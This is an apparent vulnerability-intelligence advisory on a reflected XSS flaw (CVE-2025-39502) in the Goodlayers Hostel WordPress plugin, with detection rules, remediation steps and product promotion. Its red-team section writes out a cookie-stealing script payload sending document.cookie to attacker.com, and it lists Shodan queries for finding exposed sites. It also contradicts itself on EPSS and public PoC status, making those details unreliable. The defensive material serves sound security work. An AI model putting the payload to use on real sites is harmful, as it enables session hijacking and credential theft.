☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Goodlayers logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39502

CVE-2025-39502 Cross-Site Scripting in Goodlayers
📅 PUBLISHED: 2025-05-23 13:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39502 is a reflected Cross-Site Scripting (XSS) vulnerability in the Goodlayers Hostel WordPress plugin (gdlr-hostel) versions up to and including 3.1.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), with a low EPSS probability of 0.0%, indicating limited active exploitation at this time. No public proof-of-concept or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Goodlayers Hostel plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of plugin downloads and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited modification possible.
  • Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1) – Reflected XSS can be used for phishing, session theft, or malware delivery.

Deep Dive & Mechanics

The vulnerability exists in the Goodlayers Hostel plugin's handling of HTTP GET/POST parameters. When user input is reflected back in the response without proper sanitization or encoding, an attacker can craft a malicious URL containing JavaScript payloads. For example, a vulnerable parameter might be ?search=<script>alert(1)</script>. The plugin fails to escape HTML entities, allowing script execution in the victim's browser.

The attack flow:

  1. Attacker crafts a URL with malicious JavaScript in a parameter (e.g., ?q=<script>...</script>).
  2. Victim clicks the link (phishing email, social engineering).
  3. The plugin reflects the input in the page without sanitization.
  4. The browser executes the injected script, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (example from gdlr-hostel <= 3.1.2):

// In a search or filter function
$search_term = $_GET['search'];
echo '<div class="search-result">' . $search_term . '</div>';

Patched Code (hypothetical fix):

$search_term = sanitize_text_field( $_GET['search'] );
echo '<div class="search-result">' . esc_html( $search_term ) . '</div>';

The fix uses esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Craft the payload: Use a simple XSS payload:
    http://target.com/?search=<script>alert(document.cookie)</script>
    
  2. Deliver via phishing: Send the link to a victim.
  3. Capture cookies: Use a payload that exfiltrates cookies to an attacker-controlled server:
    http://target.com/?search=<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
    

Lab Setup:

  • Install WordPress with Goodlayers Hostel plugin v3.1.2.
  • Use a local server (e.g., XAMPP) or a Docker container.
  • Test with a browser and developer tools.

Blue Team (Defense & Detection)

  • Web Application Firewall (WAF): Block requests containing <script> tags in query parameters.
  • Input Validation: Ensure all user input is sanitized using WordPress functions like sanitize_text_field() and esc_html().
  • Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
  • Monitor Logs: Look for unusual query strings with HTML/JavaScript patterns.

Indicators of Compromise (IOCs)

  • URL Patterns: Requests containing <script>, onerror=, onload=, or javascript: in query parameters.
  • Network Traffic: Outbound connections to unknown domains from the WordPress server.
  • Log Entries: HTTP 200 responses with reflected script tags in the body.
  • File Changes: Unexpected modifications to plugin files (though unlikely for reflected XSS).

Detection Engineering

YARA Rule

rule CVE_2025_39502_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Goodlayers Hostel plugin"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-39502"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and #xss1 > 0
}

Sigma Rule

title: Reflected XSS Attempt Against Goodlayers Hostel
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-39502
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39502 Reflected XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Goodlayers Hostel plugin until a patch is available.
  2. Short-term: Implement a WAF rule to block XSS patterns in query parameters.
  3. Long-term: Update to a patched version when released by the vendor.
  4. Code Fix: Apply output escaping using esc_html() or wp_kses() in all plugin templates.
  5. User Education: Train users not to click suspicious links.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Hostel"
http.html:"gdlr-hostel"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39502/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.